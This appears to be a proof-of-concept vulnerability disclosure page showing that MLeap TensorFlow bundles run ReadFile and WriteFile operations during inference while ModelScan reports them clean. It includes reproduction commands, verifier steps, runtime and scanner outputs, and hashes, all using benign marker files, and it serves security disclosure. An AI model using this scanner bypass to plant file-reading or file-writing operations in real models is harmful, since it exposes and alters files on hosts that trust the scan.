Views
No views yet
graph.pb executes file I/O ops while scanner reports cleanroot/graph.pbgraph.pb executes file I/O ops while scanner reports cleanReadFile and WriteFile operations execute during MLeap inference while the MLeap/raw-GraphDef scan path reports zero issuesml.combust.mleap:mleap-tensorflow_2.13:0.24.00.8.8root/graph.pb. MLeap's TensorflowTransformer imports that graph and executes it during normal transform/inference. ModelScan scans the same nested root/graph.pb using its TensorFlow-op scanner but reports zero issues for the raw GraphDef/MLeap bundle form, even when the graph contains TensorFlow file I/O operations that are considered unsafe and are flagged when wrapped as a SavedModel control.readfile/: reads a local marker file and returns the marker string as model output.writefile/: writes a benign local marker file during inference.ReadFile primitive demonstrates local file disclosure into a model output, and the WriteFile primitive demonstrates file creation/modification on the runtime host. The PoCs use harmless marker paths and marker strings.GraphDef from root/graph.pb and executes nodes listed by the MLeap model JSON.root/graph.pb and runs SavedModelTensorflowOpScan, but the raw GraphDef form is not interpreted the same way as a SavedModel protobuf. The equivalent SavedModel control is flagged as HIGH for ReadFile, while the MLeap bundle/raw GraphDef path reports zero issues.1readfile/mleap_tf_readfile_bundle.zip MLeap ReadFile bundle
2readfile/readfile_graph.pb raw GraphDef embedded in the bundle
3readfile/readfile_saved_model.pb SavedModel control containing the same op
4readfile/verify_poc.scala verifier used to load and transform the bundle
5readfile/mleap_tf_readfile_runtime_output.txt runtime output showing marker disclosure
6readfile/modelscan_* scanner outputs
7
8writefile/mleap_tf_writefile_bundle.zip MLeap WriteFile bundle
9writefile/writefile_graph.pb raw GraphDef embedded in the bundle
10writefile/verify_poc.scala verifier used to load and transform the bundle
11writefile/runtime_output.txt runtime output showing marker write
12writefile/modelscan_* scanner outputs
13SHA256SUMS.txt hash manifest1hf download pragnyanramtha/mleap-tf-raw-graphdef-unsafe-ops-poc --local-dir mleap-poc
2
3COURSIER_CACHE=/tmp/mleap-coursier-cache \
4 cs fetch --classpath ml.combust.mleap:mleap-tensorflow_2.13:0.24.0 > mleap-tf.classpath1cd mleap-poc/readfile
2mkdir -p classes /tmp/mleap-readfile
3printf MLEAP_TF_READFILE_MARKER > /tmp/mleap-readfile/source.txt
4CP=$(cat ../../mleap-tf.classpath)
5cs launch scalac:2.13.16 -- -classpath "$CP" -d classes verify_poc.scala
6java -cp "classes:$CP" LoadRunMLeapTfReadBundle \
7 "jar:file:$PWD/mleap_tf_readfile_bundle.zip" \
8 /tmp/mleap-readfile/source.txt1LOAD_OK root=ml.combust.mleap.tensorflow.TensorflowTransformer
2INFER_OK outputs=1
3OUTPUT_0_RAW=MLEAP_TF_READFILE_MARKER1cd ../writefile
2mkdir -p classes /tmp/mleap-writefile
3CP=$(cat ../../mleap-tf.classpath)
4cs launch scalac:2.13.16 -- -classpath "$CP" -d classes verify_poc.scala
5java -cp "classes:$CP" LoadRunMLeapTfBundle \
6 "jar:file:$PWD/mleap_tf_writefile_bundle.zip" \
7 /tmp/mleap-writefile/marker.txt1LOAD_OK root=ml.combust.mleap.tensorflow.TensorflowTransformer
2INFER_OK outputs=0
3MARKER_EXISTS=true
4MLEAP_TF_WRITEFILE_MARKER1modelscan -p readfile/mleap_tf_readfile_bundle.zip -r json --show-skipped
2modelscan -p readfile/readfile_graph.pb -r json --show-skipped
3modelscan -p readfile/readfile_saved_model.pb -r json --show-skipped1Scanning mleap_tf_readfile_bundle.zip:root/graph.pb using modelscan.scanners.SavedModelTensorflowOpScan
2total_issues: 0
3scanned_files: ["mleap_tf_readfile_bundle.zip:root/graph.pb"]1total_issues_by_severity: HIGH: 1
2description: Use of unsafe operator 'ReadFile' from module 'Tensorflow'
3severity: HIGH107e435e47b0068ca6fcd7d760262d122da419c642e3399949df730799e9eb4a6 readfile/mleap_tf_readfile_bundle.zip
28f0e9f6b5f385ef4beabcdd52a3e9274589ba821ebd1a17cef0bc2f2e1d98cf9 readfile/readfile_graph.pb
31c18b89493fa9b2d3f5654093caafda67006a93c3a2826ac32306e51c5f1c2a9 readfile/readfile_saved_model.pb
42cd2e3dae5ddea26c9cfea76b2af22d615401f9ee77dd33cc639df62dc2c5971 writefile/mleap_tf_writefile_bundle.ziproot/graph.pb.